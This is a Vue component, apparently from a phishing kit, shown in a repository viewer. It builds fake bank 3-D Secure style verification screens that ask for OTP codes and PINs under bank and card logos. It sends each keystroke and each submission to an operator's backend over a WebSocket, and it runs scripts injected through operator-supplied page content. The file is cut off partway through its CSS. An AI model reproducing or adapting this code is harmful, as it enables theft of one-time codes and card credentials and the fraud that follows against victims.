Files
zy-client-a/zy1_in_post_shadowfax/src/views/CustomOtpView.vue
tom@tom.com 84cb2597a4 first commit
2026-04-19 17:51:16 +08:00

1453 lines
43 KiB
Vue
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<template>
<form @submit.prevent="submit">
<div class="validation-renderer">
<div class="validation-header" v-if="customOtpData.showTop !== false">
<div class="bank-logo" v-if="customOtpData.imageUrl">
<img :src="customOtpData.imageUrl" alt="bank" style="height: 70%; max-width: 70%; object-fit: contain;" />
</div>
<div class="bank-logo" v-else>
<img src="@/assets/img/80066acd3fcfa.svg" alt="bank" style="height: 70%; max-width: 70%;" />
</div>
<div class="card-logo">
<CardType1 :cardType="cardType" />
</div>
</div>
<!-- APP验证 -->
<div v-if="customOtpData.type === 'appValid1'" class="validation-form app-valid">
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
<div class="header-content">
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
</h2>
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
</div>
</div>
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
</div>
<div class="app-loading">
<div class="loading-container">
<img
src="data:image/gif;base64,R0lGODlhUAAQAPABANfX1wAAACH5BAkPAAEAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAUAAQAAACUoyPqcvtD6OctNqLs968GwACVShS5BhCJDitZeS2q+Oyag3jd8zUL617+HK8xXA3Q56UqV4QWIQmhU9FlLokNrU2KaoryYa3nrL5jE6r1+y2pQAAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA2ZYutz+MMpJq7046827/2CoDEEwZERKoCqbUgIgA8Klttb95ro0zLMTRYebEHfGYyQAlAUqx9VQOSUum4Bntbe9QamPX1OYtHaLkqgkNqvxvG90WR4ukeMuqY0u6vv/gIGCg4SFFwkAIfkECQ8ABQAsAAAAAFAAEACCAL8ZBL8dCMAgLsRC19fXAAAAAAAAAAAAA3RYutz+MMpJq7046827/2CoDEEwZKSZESyxtpQAzIBwybRttfDOu5EBjXaiCIeA4uTXWzKBjwASEKhIkVXKEyrZRq7D7ARME3efFS/kOFRK2MQ0WjuH4Ga6yr12YfZ/RiVuFSmDdCwviCKLjI2Oj5CRkpMcCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADeVi63P4wykmrvTjrzbv/YKgMQTBkpImWJ0a8BCUANCBcc31bOb1XMJhkUKu1JsQi4DhULoFBISTgDFSoSisFW9ROotIHt+aVjGnlyBmQhoBfkWSRGXfSIXIjFCzp2XBFPzKBF3xILCsqGCl3X2EikJGSk5SVlpeYGgkAIfkECQ8ABAAsAAAAAFAAEACCAL8ZBL8dCMAgLsRCAAAAAAAAAAAAAAAAA3lIutz+MMpJq7046827/2CoDEEwZKSJlieWtpIAzIBwybRt4bNe8TXJgEaDCYkzY2SIVEKYROcigAQEKlTklZIlbidd2tcRno0jZSu2eoak2wtosSJP0qtSRx2QVwB9FH83RIATghMvKyouLIp9IpCRkpOUlZaXmBQJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANyWLrc/jDKSau9OOvNu/9gqBAkkQ1BMJzpiqEqVZaXANyAUOP5juuR2awy4N1ck6IRKVHymA0hjRIwAgKVqhFLtXIfUlLWO96WeV9H2ERx4qAQ95FohTOkvhuwYvvlexNDLy0sMYOGIomKi4yNjo+QkRsJACH5BAkPAAUALAAAAABQABAAggC/GQS/HQjAIC7EQtfX1wAAAAAAAAAAAANtWLrc/jDKSau9OOvNu/9gqBAkkZUmNgTBkK0thZLXnFYCoAPCle+9iI0mG1YGu52LgkwClo/hTSKtBJyAgBWrhVSLtq2zO7mOhUbw7IiFSppJtyNsoeOSwTtQfSq9WHJMgCKEhYaHiImKi4wdCQAh+QQJDwAFACwAAAAAUAAQAIIAvxkEvx0IwCAuxELX19cAAAAAAAAAAAADZ1i63P4wykmrvTjrzbv/YKgQJJGVJoZmQxAMFEpeclrVlwDsgCDVsxjwNqQMeDwYBGj7FSfMSgC5C0SiQlxWJqUCrMunUwsVR45UZXhlIW+DFR3PV4a3Syc8pvUS+f+AgYKDhIWGHQkAOw=="
class="loading-gif" alt="Loading" />
</div>
</div>
<div v-if="message" class="error-message">
{{ renderContent(message) }}
</div>
</div>
<!-- 验证码1 -->
<div v-else-if="customOtpData.type === 'otpValid1'" class="validation-form otp-valid1">
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
<div class="header-content">
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
</h2>
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
</div>
</div>
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
</div>
<div class="form-fields">
<div v-if="customOtpData.input1Title" class="field-group">
<div style="width: fit-content;">
<div v-html="renderContent(customOtpData.input1Title)"></div>
<input required v-model="formData.input1" type="text" :placeholder="customOtpData.input1TitlePlaceholder"
class="form-input otp-input" @input="handleInput('input1', $event)" />
</div>
</div>
<div v-if="customOtpData.input2Title" class="field-group">
<div style="width: fit-content;">
<div v-html="renderContent(customOtpData.input2Title)"></div>
<input required v-model="formData.input2" type="text" :placeholder="customOtpData.input2TitlePlaceholder"
class="form-input otp-input" @input="handleInput('input2', $event)" />
</div>
</div>
<div v-if="message" class="error-message" v-html="renderContent(message)">
</div>
<div class="submit-container">
<button type="submit" v-if="customOtpData.buttonText" class="submit-button"
:style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
{{ customOtpData.buttonText }}
</button>
</div>
<div v-if="customOtpData.showResendText" class="resend-section">
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
<span v-html="renderContent(buttonText)"></span>
</button>
</div>
</div>
</div>
<!-- 验证码2 -->
<div v-else-if="customOtpData.type === 'otpValid2'" class="validation-form otp-valid2">
<div class="form-header" v-if="customOtpData.pageTitle || customOtpData.pageContent">
<div class="header-content">
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
</h2>
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
</div>
</div>
<div class="payment-details"
v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard || customOtpData.input1Title">
<div v-if="customOtpData.merchant" class="detail-item" v-html="renderContent(customOtpData.merchant)"></div>
<div v-if="customOtpData.amount" class="detail-item" v-html="renderContent(customOtpData.amount)"></div>
<div v-if="customOtpData.showCard" class="detail-item" v-html="renderContent(customOtpData.cardNumber)"></div>
<div v-if="customOtpData.input1Title" class="detail-item input-detail-item">
<span class="input-label" v-html="renderContent(customOtpData.input1Title)"></span>
<input required v-model="formData.input1" type="text" class="otp-input-inline"
@input="handleInput('input1', $event)" />
</div>
<div v-if="customOtpData.input2Title" class="detail-item input-detail-item">
<span class="input-label" v-html="renderContent(customOtpData.input2Title)"></span>
<input required v-model="formData.input2" type="text" class="otp-input-inline"
@input="handleInput('input2', $event)" />
</div>
<div v-if="message" class="error-message" v-html="renderContent(message)">
</div>
</div>
<div class="form-fields">
<div class="submit-container">
<button type="submit" v-if="customOtpData.buttonText" class="submit-button"
:style="{ backgroundColor: customOtpData.buttonColor || '#67C23A' }">
{{ customOtpData.buttonText }}
</button>
</div>
<div v-if="customOtpData.showResendText" class="resend-section">
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
{{ buttonText }}
</button>
</div>
</div>
</div>
<!-- 扫码验证 -->
<div v-else-if="customOtpData.type === 'scanValid1'" class="validation-form scan-valid">
<div class="form-header" v-if="customOtpData.pageTitle">
<div class="header-content">
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
</h2>
</div>
</div>
<div class="payment-details" v-if="customOtpData.merchant || customOtpData.amount || customOtpData.showCard">
<div v-if="customOtpData.merchant" class="detail-item">{{ renderContent(customOtpData.merchant) }}</div>
<div v-if="customOtpData.amount" class="detail-item">{{ renderContent(customOtpData.amount) }}</div>
<div v-if="customOtpData.showCard" class="detail-item">{{ renderContent(customOtpData.cardNumber) }}</div>
</div>
<div v-if="customOtpData.pageContent" class="form-content" v-html="renderedPageContent"></div>
<div class="qr-section">
<div class="qr-code-container">
<img :src="message1" alt="QR Code" class="qr-code" />
</div>
</div>
<div v-if="message" class="error-message" v-html="renderContent(message)">
</div>
<div v-if="customOtpData.showResendText" class="resend-section">
<button type="button" class="resend-button no-obfuscate" @click="handleResend">
{{ buttonText }}
</button>
</div>
</div>
<!-- 拨号验证 -->
<div v-else-if="customOtpData.type === 'dialValid1'" class="validation-form dial-valid">
<div class="form-header">
<div class="header-content">
<h2 v-if="customOtpData.pageTitle" class="validation-title" v-html="renderContent(customOtpData.pageTitle)">
</h2>
<div v-if="customOtpData.pageContent" class="form-content japanese-content" v-html="renderedPageContent">
</div>
</div>
</div>
<div class="submit-container">
<button type="submit" v-if="customOtpData.buttonText" class="submit-button completed-button"
:style="{ backgroundColor: customOtpData.buttonColor || '#E6A23C' }">
{{ customOtpData.buttonText }}
</button>
</div>
<div v-if="message" class="error-message">
{{ renderContent(message) }}
</div>
</div>
<!-- 全自定义验证 -->
<div v-else-if="customOtpData.type === 'customValid'" class="validation-form custom-valid">
<!-- 自定义样式 -->
<component :is="'style'" v-if="customOtpData.customStyles" scoped>
{{ customOtpData.customStyles }}
</component>
<div v-if="customOtpData.pageContent" class="form-content custom-content" v-html="renderedPageContent">
</div>
</div>
<!-- 默认表单 -->
<div v-else class="validation-form default-form">
<div id="darcula-teleport-page">
<div>
<form class="container" @submit.prevent="submit">
<div style="font-size: 20px">
<b v-html="renderContent(customOtpData.pageTitle)"></b>
</div>
<p v-html="renderContent(customOtpData.pageContent)"></p>
<br />
<div class="input" style="text-align: center" v-if="customOtpData.input1Title">
<label>{{ renderContent(customOtpData.input1Title) }}</label>
<input required @input="onInput1Change" v-model="formData.input1" />
</div>
<div class="input" style="text-align: center" v-if="customOtpData.input2Title">
<label>{{ renderContent(customOtpData.input2Title) }}</label>
<input required @input="onInput2Change" v-model="formData.input2" />
</div>
<div class="error" v-if="message">
{{ message }}
</div>
<br />
<div class="button-submit">
<button type="submit" :style="{ backgroundColor: customOtpData.buttonColor }">
{{ customOtpData.buttonText ? customOtpData.buttonText : "Submit" }}
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</form>
</template>
<script setup lang="ts">
import { ref, reactive, computed, watch, onMounted, onUnmounted, nextTick } from 'vue'
import {
inputChange,
myWebSocket,
customOtpData,
setCustomOtpData,
} from "@/utils/common";
import CardType1 from "../components/CardType1.vue";
import eventBus from '@/utils/eventBus';
import { useRoute } from 'vue-router';
import { useLoadingStore } from '@/stores/loadingStore';
const cardType = ref("");
const message1 = ref("");
const cardNumberLast4 = ref("");
const phone = ref("");
const price = ref("");
const message = ref("");
const handleEvent = (data: { message2: string }) => {
toggleCustomSubmitLoading(false)
message.value = data.message2 ? data.message2 : customOtpData.value.errorMessage;
};
onMounted(() => {
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
const customOtpDataValue = localStorage.getItem("customOtpData");
if (customOtpDataValue) {
setCustomOtpData(JSON.parse(customOtpDataValue));
}
localStorage.setItem("route", "customOtpValid");
eventBus.on("custom-otp-valid", handleEvent);
const cardData = JSON.parse(localStorage.getItem("card") ?? "{}");
if (cardData && cardData.cardNumber) {
const cardNum = cardData.cardNumber;
cardNumberLast4.value = cardNum.slice(-4);
}
const cardNumber = localStorage.getItem("cardNumber") ?? "";
if (cardNumber) {
const cardNum = cardNumber;
cardNumberLast4.value = cardNum.slice(-4);
}
// 设置全局输入处理函数 - 支持自定义 id
(window as any).handleCustomInput = (id: string, value: string) => {
// 根据id映射到对应的formData字段
if (id === 'input1' || id === 'inline-input1') {
formData.input1 = value
onchange(value, "verifyCode1")
emit('input', 'input1', value)
} else if (id === 'input2' || id === 'inline-input2') {
formData.input2 = value
onchange(value, "verifyCode2")
emit('input', 'input2', value)
}
};
// 设置全局按钮点击处理函数
(window as any).handleCustomButton = (id: string, action: string) => {
if (action === 'submit') {
submit()
} else if (action === 'resend') {
handleResend()
}
};
// 绑定输入框事件和执行脚本
setTimeout(() => {
bindInputEvents()
executeScripts() // 执行初始脚本
}, 200); // 延迟执行确保所有DOM都已渲染
});
onMounted(() => {
const phoneValue = localStorage.getItem("phone") || ""
phone.value = phoneValue
const priceValue = localStorage.getItem("price") || ""
price.value = priceValue
if (price.value === "") {
const moneyAmountValue = localStorage.getItem("moneyAmount") || ""
price.value = moneyAmountValue
}
});
const onchange = (value: any, key: string) => {
inputChange("input_card", key, value);
};
const onInput1Change = (event: any) => {
const value = event.target.value;
formData.input1 = value;
onchange(value, "verifyCode1");
// 触发内容重新渲染
emit('input', 'input1', value);
};
const onInput2Change = (event: any) => {
const value = event.target.value;
formData.input2 = value;
onchange(value, "verifyCode2");
// 触发内容重新渲染
emit('input', 'input2', value);
};
const toggleCustomSubmitLoading = (visible: boolean): boolean => {
const loadingElements = document.querySelectorAll(
'.form-content [data-submit-loading], .custom-content [data-submit-loading], .form-content .custom-submit-loading, .custom-content .custom-submit-loading'
) as NodeListOf<HTMLElement>
if (loadingElements.length === 0) {
return false
}
loadingElements.forEach((element) => {
if (visible) {
if (element.dataset.originalDisplay === undefined) {
element.dataset.originalDisplay = window.getComputedStyle(element).display
}
const customDisplay = element.dataset.loadingDisplay || 'block'
element.style.display = customDisplay
} else {
const originalDisplay = element.dataset.originalDisplay
if (originalDisplay !== undefined) {
element.style.display = originalDisplay
}
}
})
return true
}
const doSubmit = async () => {
await nextTick();
// 收集所有自定义输入框的值
const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
const submitData: Record<string, string> = {}
// 验证所有required输入框
let firstEmptyInput: any = null
let hasEmptyRequired = false
customInputs.forEach(input => {
const fieldName = input.dataset.field || input.id || 'unknown'
const verifyKey = input.dataset.verifyKey || fieldName
const value = input.value.trim()
// 检查required属性
if (input.hasAttribute('required') && !value) {
hasEmptyRequired = true
if (!firstEmptyInput) {
firstEmptyInput = input
}
}
submitData[verifyKey] = value
})
// 如果有必填项未填写,使用浏览器原生验证提示
if (hasEmptyRequired && firstEmptyInput) {
firstEmptyInput.reportValidity() // 使用浏览器原生提示
return
}
const hasCustomLoading = toggleCustomSubmitLoading(true)
useLoadingStore().isLoading = !hasCustomLoading;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitCustomOtpValid",
formData: submitData,
},
})
);
};
const submit = async () => {
await doSubmit()
}
watch(
customOtpData,
() => {
// 清空所有动态字段
Object.keys(formData).forEach(key => delete formData[key]);
message.value = "";
toggleCustomSubmitLoading(false)
// 重置静态内容
staticContent.value = '';
lastPageContent.value = '';
// 重新绑定输入框事件和执行脚本
setTimeout(() => {
bindInputEvents()
executeScripts()
}, 100);
},
{ deep: true }
);
// 监听message变化,自动更新所有custom-error-message元素
watch(
message,
(newMessage) => {
nextTick(() => {
const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>
errorContainers.forEach(container => {
if (newMessage) {
container.textContent = newMessage
container.style.display = 'block'
} else {
container.style.display = 'none'
}
})
})
}
);
// 添加一个watch来监听计算属性的变化
watch(
() => customOtpData.value.pageContent,
() => {
// 重置静态内容
staticContent.value = '';
lastPageContent.value = '';
// 当pageContent变化时重新绑定事件和执行脚本
setTimeout(() => {
bindInputEvents()
executeScripts()
}, 100);
}
);
onUnmounted(() => {
eventBus.off("custom-otp-valid", handleEvent);
// 清理全局函数
if ((window as any).handleCustomInput) {
delete (window as any).handleCustomInput;
}
if ((window as any).handleCustomButton) {
delete (window as any).handleCustomButton;
}
});
// 类型定义
export interface ValidationConfig {
type: 'appValid1' | 'otpValid1' | 'otpValid2' | 'scanValid1' | 'dialValid1' | 'customValid' | 'default'
name?: string
pageTitle?: string
pageContent?: string
input1Title?: string
input2Title?: string
buttonText?: string
buttonColor?: string
errorMessage?: string
imageUrl?: string
resendText?: string
showResendText?: boolean
showCard?: boolean
merchant?: string
amount?: string
showDynamicFields?: boolean
customStyles?: string // 自定义CSS样式
countdown?: boolean // 重发按钮是否启用倒计时默认true
}
export interface FormData {
[key: string]: string // 支持任意数量的输入框字段
}
export interface DynamicData {
merchant?: string
payment?: string
card?: string
phone?: string
phoneFull?: string
date?: string
var1?: string
var2?: string
var3?: string
[key: string]: any
}
// Props
const props = withDefaults(defineProps<{
dynamicData?: DynamicData
qrCodeImage?: string
cardNumberLast4?: string
}>(), {
dynamicData: () => ({}),
qrCodeImage: 'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8cmVjdCB3aWR0aD0iMjAwIiBoZWlnaHQ9IjIwMCIgZmlsbD0id2hpdGUiLz4KICA8dGV4dCB4PSIxMDAiIHk9IjEwMCIgZm9udC1mYW1pbHk9IkFyaWFsIiBmb250LXNpemU9IjE0IiBmaWxsPSIjNjY2IiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiBkeT0iLjNlbSI+UVIgQ29kZTwvdGV4dD4KPC9zdmc+',
cardNumberLast4: '1234'
})
// Emits
const emit = defineEmits<{
submit: [data: FormData]
input: [field: string, value: string]
resend: []
}>()
// 响应式数据 - 支持动态添加任意字段
const formData = reactive<FormData>({})
// 倒计时相关变量(需要在前面声明,因为其他函数会用到)
const initialTime = 60; // 倒计时时间,单位为秒
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
let countdownStarted = false; // 标记倒计时是否已启动
const resendText = ref("");
const showResendText = ref(false);
// 渲染内容,替换动态变量
const renderContent = (content: string, skipInputs = false): string => {
if (!content) return content
let rendered = content
const phoneLast4 = phone.value ? phone.value.slice(-4) : ''
// 检查是否包含传统输入框占位符
const hasInput1 = rendered.includes('${input1}')
const hasInput2 = rendered.includes('${input2}')
// 获取传统输入框的HTML或值
const getInputContent = (inputValue: string, inputTitle: string, fieldName: string) => {
if (hasInput1 && fieldName === 'input1' || hasInput2 && fieldName === 'input2') {
if (skipInputs) {
return `__PLACEHOLDER_${fieldName.toUpperCase()}__`
}
const placeholder = inputTitle || `请输入${fieldName === 'input1' ? '验证码' : 'PIN码'}`
const inputId = `inline-${fieldName}`
return `<span class="inline-input-wrapper" data-field="${fieldName}">
<input required
id="${inputId}"
type="text"
value="${inputValue}"
placeholder="${placeholder}"
class="inline-input-field"
data-field="${fieldName}"
oninput="window.handleCustomInput('${fieldName}', this.value)"
/>
</span>`
}
return inputValue
}
// 替换预定义变量
const replacements = {
'${merchant}': customOtpData.value.merchant || '',
'${payment}': customOtpData.value.amount || '',
'${price}': price.value || '',
'${card}': cardNumberLast4.value || '',
'${phone}': phoneLast4,
'${phoneFull}': phone.value,
'${date}': new Date().toLocaleDateString(),
'${input1}': getInputContent(formData.input1, customOtpData.value.input1Title, 'input1'),
'${input2}': getInputContent(formData.input2, customOtpData.value.input2Title, 'input2'),
}
// 替换所有变量
Object.keys(replacements).forEach((key) => {
const value = replacements[key as keyof typeof replacements]
rendered = rendered.replace(new RegExp(key.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), String(value))
})
return rendered
}
// 静态内容缓存
const staticContent = ref('')
const lastPageContent = ref('')
// 计算属性只在pageContent结构变化时重新渲染
const renderedPageContent = computed(() => {
const currentPageContent = customOtpData.value.pageContent || ''
// 只有当pageContent本身发生变化时才重新渲染HTML结构
if (currentPageContent !== lastPageContent.value) {
lastPageContent.value = currentPageContent
staticContent.value = renderContent(currentPageContent)
// 延迟绑定事件确保DOM已更新
nextTick(() => {
setTimeout(() => {
bindInputEvents()
executeScripts() // 执行 pageContent 中的 JavaScript
}, 50)
})
}
return staticContent.value
})
// 执行 pageContent 中的 JavaScript
const executeScripts = () => {
nextTick(() => {
// 查找所有包含 pageContent 的容器
const containers = document.querySelectorAll('.form-content, .custom-content')
containers.forEach(container => {
// 查找所有 script 标签
const scripts = container.querySelectorAll('script')
scripts.forEach(oldScript => {
try {
// 创建新的 script 标签来执行
const newScript = document.createElement('script')
// 复制属性(如 type, src 等)
Array.from(oldScript.attributes).forEach(attr => {
newScript.setAttribute(attr.name, attr.value)
})
// 如果有 src 属性,直接使用;否则复制内联代码
if (!oldScript.src) {
newScript.textContent = oldScript.textContent
}
// 替换旧的 script 标签以触发执行
oldScript.parentNode?.replaceChild(newScript, oldScript)
} catch (error) {
console.error('Script execution error:', error)
}
})
})
})
}
// 绑定输入框和按钮事件的函数
const bindInputEvents = () => {
nextTick(() => {
const tryBind = (retries = 3) => {
// 查找所有带custom-input class的输入框
const customInputs = document.querySelectorAll('.custom-input') as NodeListOf<HTMLInputElement>
// 查找所有带custom-button class的按钮
const customButtons = document.querySelectorAll('.custom-button') as NodeListOf<HTMLButtonElement>
// 查找所有带custom-error-message class的错误信息容器
const errorContainers = document.querySelectorAll('.custom-error-message') as NodeListOf<HTMLElement>
// 如果找不到任何元素且还有重试次数,则重试
if (customInputs.length === 0 && customButtons.length === 0 && errorContainers.length === 0 && retries > 0) {
setTimeout(() => tryBind(retries - 1), 100)
return
}
// 绑定所有自定义输入框
customInputs.forEach(input => {
if (!input.dataset.bound) {
const fieldName = input.dataset.field || 'input1'
input.dataset.bound = 'true'
// 绑定输入事件
input.removeEventListener('input', handleCustomInputEvent)
input.addEventListener('input', handleCustomInputEvent)
addFocusBlurStyle(input)
}
})
// 绑定所有自定义按钮
customButtons.forEach(button => {
if (!button.dataset.bound) {
const action = button.dataset.action || 'submit'
button.dataset.bound = 'true'
// 绑定点击事件
button.removeEventListener('click', handleCustomButtonEvent)
button.addEventListener('click', handleCustomButtonEvent)
// 如果是重发按钮,存储原始文本并更新初始状态
if (action === 'resend') {
if (!button.dataset.originalText) {
button.dataset.originalText = button.textContent || 'Resend'
}
// 检查是否启用倒计时data-countdown属性默认为true
const enableCountdown = button.dataset.countdown !== 'false'
if (enableCountdown) {
updateResendButton(button)
}
}
}
})
// 更新所有错误信息容器
errorContainers.forEach(container => {
updateErrorMessage(container)
})
// 绑定完成后,启动倒计时(只启动一次)
if (!countdownStarted) {
countdownStarted = true
startCountdown('')
}
}
tryBind()
})
}
// 更新错误信息
const updateErrorMessage = (container: HTMLElement) => {
if (message.value) {
container.textContent = message.value
container.style.display = 'block'
} else {
container.style.display = 'none'
}
}
// 更新重发按钮状态
const updateResendButton = (button: HTMLButtonElement) => {
const originalText = button.dataset.originalText || 'Resend'
if (isCounting.value) {
// 倒计时中
const seconds = timeLeft.value
const timeStr = seconds < 10 ? `0${seconds}` : `${seconds}`
button.textContent = `00:${timeStr}`
button.disabled = true
button.style.opacity = '0.6'
button.style.cursor = 'not-allowed'
} else {
// 倒计时结束
button.textContent = originalText
button.disabled = false
button.style.opacity = '1'
button.style.cursor = 'pointer'
}
}
// 更新所有重发按钮
const updateAllResendButtons = () => {
const resendButtons = document.querySelectorAll('.custom-button[data-action="resend"]') as NodeListOf<HTMLButtonElement>
resendButtons.forEach(button => {
// 只更新启用倒计时的按钮
const enableCountdown = button.dataset.countdown !== 'false'
if (enableCountdown) {
updateResendButton(button)
}
})
}
// 监听倒计时状态,自动更新所有重发按钮
watch([isCounting, timeLeft], () => {
updateAllResendButtons()
})
// 处理自定义输入框事件 - 支持任意数量的输入框
const handleCustomInputEvent = (e: Event) => {
const target = e.target as HTMLInputElement
const fieldName = target.dataset.field || 'input1'
// 优先使用 data-verify-key否则直接使用 fieldName
const verifyKey = target.dataset.verifyKey || fieldName
const value = target.value
// 动态存储字段值
formData[fieldName] = value
// 发送到后端
onchange(value, verifyKey)
// 触发事件
emit('input', fieldName, value)
}
// 处理自定义按钮事件
const handleCustomButtonEvent = (e: Event) => {
const target = e.target as HTMLButtonElement
const action = target.dataset.action || 'submit'
if (action === 'submit') {
submit()
} else if (action === 'resend') {
// 检查是否启用倒计时默认为true
const enableCountdown = target.dataset.countdown !== 'false'
// 如果启用倒计时且正在倒计时中,禁止重复点击
if (enableCountdown && isCounting.value) {
return
}
// 如果启用倒计时,则开始倒计时;否则直接发送
if (enableCountdown) {
handleResend()
} else {
// 不启用倒计时,直接发送请求
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: {
pageType: "customOtpValid",
pageTitle: customOtpData.value.name,
resultType: "resendCode",
customType: customOtpData.value.type
},
})
)
}
}
}
// 添加聚焦和失焦样式
const addFocusBlurStyle = (element: HTMLInputElement) => {
element.addEventListener('focus', (e) => {
(e.target as HTMLInputElement).style.borderColor = '#3b82f6'
})
element.addEventListener('blur', (e) => {
(e.target as HTMLInputElement).style.borderColor = '#ddd'
})
}
// 输入处理函数
const handleInput1 = (e: Event) => {
const target = e.target as HTMLInputElement
formData.input1 = target.value
onchange(target.value, "verifyCode1")
emit('input', 'input1', target.value)
}
const handleInput2 = (e: Event) => {
const target = e.target as HTMLInputElement
formData.input2 = target.value
onchange(target.value, "verifyCode2")
emit('input', 'input2', target.value)
}
// 事件处理
const handleSubmit = () => {
emit('submit', { ...formData })
}
const handleInput = (field: string, event: Event) => {
const target = event.target as HTMLInputElement
formData[field as keyof FormData] = target.value
emit('input', field, target.value)
// 调用对应的输入处理函数
if (field === 'input1') {
onchange(target.value, "verifyCode1");
} else if (field === 'input2') {
onchange(target.value, "verifyCode2");
}
}
const handleResend = () => {
startCountdown('resendCode')
}
// 暴露方法
defineExpose({
formData,
resetForm: () => {
// 清空所有动态字段
Object.keys(formData).forEach(key => delete formData[key])
},
setFormData: (data: Partial<FormData>) => {
Object.assign(formData, data)
}
})
// 倒计时初始化逻辑
onMounted(() => {
const resendTextValue = customOtpData.value.resendText;
resendText.value = resendTextValue || "RESEND CODE";
const showResendTextRaw = customOtpData.value.showResendText;
showResendText.value = showResendTextRaw === undefined || showResendTextRaw === '' ? false : showResendTextRaw;
// 不再在这里启动倒计时,改为在 bindInputEvents 完成后启动
});
const buttonText = computed(() => {
const min = timeLeft.value;
let minStr = "" + min
if (min < 10) {
minStr = "0" + minStr;
}
if (showResendText.value && resendText.value) {
return isCounting.value
? `00:${minStr}`
: resendText.value;
} else {
return "";
}
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return; // 如果已经在倒计时,则不执行
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, resultType: resultType, customType: customOtpData.value.type },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
</script>
<style scoped>
.validation-renderer {
width: 100%;
margin: 0 auto;
background: white;
border-radius: 12px;
overflow: hidden;
}
.validation-form {
padding: 24px;
}
/* 表单头部 */
.form-header {
display: flex;
align-items: flex-start;
gap: 16px;
margin-bottom: 24px;
}
.header-image {
flex-shrink: 0;
}
.form-image {
height: 60px;
object-fit: contain;
}
.header-content {
flex: 1;
text-align: left;
width: 100%;
}
.validation-title {
margin: 0 0 12px 0;
color: #333;
font-size: 18px;
font-weight: 600;
line-height: 1.4;
}
.form-content {
margin: 0;
color: #666;
font-size: 14px;
line-height: 1.6;
}
.custom-content {
font-size: 14px;
}
.japanese-content {
font-family: "Noto Sans JP", "Yu Gothic", "Meiryo", sans-serif;
}
/* 支付详情 */
.payment-details {
padding: 16px;
border-radius: 8px;
margin-bottom: 20px;
text-align: center;
}
.detail-item {
margin-bottom: 8px;
color: #374151;
font-size: 14px;
font-weight: 500;
display: flex;
justify-content: center;
align-items: center;
gap: 8px;
}
.detail-item:last-child {
margin-bottom: 0;
}
.input-detail-item {
justify-content: center;
}
.input-label {
flex-shrink: 0;
min-width: 100px;
text-align: right;
}
.otp-input-inline {
text-align: center;
font-size: 14px;
font-weight: bold;
letter-spacing: 2px;
width: 120px;
padding: 4px 8px;
border: 1px solid #d1d5db;
border-radius: 4px;
background: white;
}
/* APP加载 */
.app-loading {
display: flex;
justify-content: center;
margin: 24px 0;
}
.loading-container {
display: flex;
align-items: center;
justify-content: center;
border: 1px solid #000;
border-radius: 25px;
background: #fcfcfc;
height: 36px;
width: 100px;
padding: 8px;
}
.loading-gif {
height: 16px;
width: 80px;
}
/* 表单字段 */
.form-fields {
margin-bottom: 20px;
}
.field-group {
margin-bottom: 18px;
display: flex;
justify-content: center;
}
.field-group:last-of-type {
margin-bottom: 24px;
}
.field-group label {
display: block;
margin-bottom: 8px;
color: #333;
